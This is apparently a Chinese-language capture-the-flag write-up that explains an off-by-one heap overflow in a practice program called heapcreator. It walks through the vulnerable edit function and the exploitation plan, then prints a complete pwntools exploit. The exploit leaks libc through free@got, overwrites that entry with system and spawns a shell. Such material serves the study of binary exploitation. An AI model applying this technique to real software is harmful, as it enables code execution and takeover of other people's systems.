典型的堆上溢出一字节漏洞程序,严格来说 off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。
* 使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导致多写入了一个字节。
* 字符串操作不合适

程序分析

溢出一个字节的程序,对fastbin进行堆块扩展攻击。源文件
程序实现了基本的堆内存分配。

fun@ubuntu:~/Desktop/pwn/off_by_one$ ./heapcreator
--------------------------------
          Heap Creator          
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Show a Heap                 
 4. Delete a Heap               
 5. Exit                        
--------------------------------
Your choice :

每个Heap结构:

struct heap {
    size_t size ;
    char *content ;
};

程序漏洞

2. Edit a Heap中存在溢出一个字节的漏洞。

read_input(heaparray[idx]->content,heaparray[idx]->size+1);

利用思路

1、利用溢出一个字节的漏洞覆盖下一个Heap结构的size数据。
2、删除被覆盖的Heap实例。
3、再添加Heap,设定大小,即可获取刚才的地址,覆盖下一块的content指针指向free@got
4、利用3. Show a Heap功能泄露free@got值,获得free地址,进而获得system地址。
5、利用2. Edit a Heap修改free@got值为system地址。

利用 exploit

#! /usr/bin/python
from pwn import *

io = process("./heapcreator", env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF("./heapcreator")
libc = ELF("./libc.so.6")

def Add(size, content):
    io.sendlineafter("Your choice :", "1")
    io.sendlineafter("Size of Heap : ", str(size))
    io.sendafter("Content of heap:", content)

def Edit(idx, content):
    io.sendlineafter("Your choice :", "2")
    io.sendlineafter("Index :", str(idx))
    io.sendafter("Content of heap : ", content)

def Show(idx):
    io.sendlineafter("Your choice :", "3")
    io.sendlineafter("Index :", str(idx))
    io.recvline()
    data = io.readline().strip()
    return data[len("Content : "):]

def Del(idx):
    io.sendlineafter("Your choice :", "4")
    io.sendlineafter("Index :", str(idx))

if __name__ == "__main__":
    bin_sh = "/bin/sh\x00"
    Add(0x18, "A"*0x18)
    Add(0x10, "B"*0x10)
    Add(0x10, "C"*0x10)
    Edit(0, bin_sh + "A"*(0x18 - len(bin_sh)) + chr(0x61))
    Del(1)
    Add(0x50, "WQA_"*4*3 + p64(0) + p64(0x21) + p64(0x10) + p64(elf.got["free"]))
    free_ads = u64(Show(2).ljust(8 ,"\x00"))
    libc_base = free_ads - libc.sym["free"]
    system_ads = libc_base + libc.sym["system"]
    Edit(2, p64(system_ads))
    Del(0)
    io.interactive()